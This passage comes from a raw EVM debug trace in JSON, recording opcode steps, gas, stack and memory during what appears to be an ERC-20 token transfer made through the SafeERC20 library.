","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3069,"op":"PUSH1","gas":28798,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3071,"op":"PUSH1","gas":28795,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3073,"op":"SLOAD","gas":28792,"gasCost":100,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3074,"op":"DUP4","gas":28692,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3075,"op":"PUSH2","gas":28689,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0x3","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3078,"op":"SWAP2","gas":28686,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0x3","0x4563918244f40000","0xc0c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3079,"op":"SWAP1","gas":28683,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x4563918244f40000","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3080,"op":"PUSH2","gas":28680,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3083,"op":"JUMP","gas":28677,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x200f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8207,"op":"JUMPDEST","gas":28669,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8208,"op":"PUSH1","gas":28668,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8210,"op":"DUP2","gas":28665,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8211,"op":"PUSH1","gas":28662,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8213,"op":"NOT","gas":28659,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8214,"op":"DIV","gas":28656,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8215,"op":"DUP4","gas":28651,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x3b07929f6da558694acc7a78f41b0cb947899481c1d4f9fd3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8216,"op":"GT","gas":28648,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x3b07929f6da558694acc7a78f41b0cb947899481c1d4f9fd3","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8217,"op":"DUP3","gas":28645,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8218,"op":"ISZERO","gas":28642,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8219,"op":"ISZERO","gas":28639,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8220,"op":"AND","gas":28636,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8221,"op":"ISZERO","gas":28633,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8222,"op":"PUSH2","gas":28630,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8225,"op":"JUMPI","gas":28627,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0","0x1","0x2029"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8233,"op":"JUMPDEST","gas":28617,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xc0c","0x3","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8234,"op":"POP","gas":28616,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136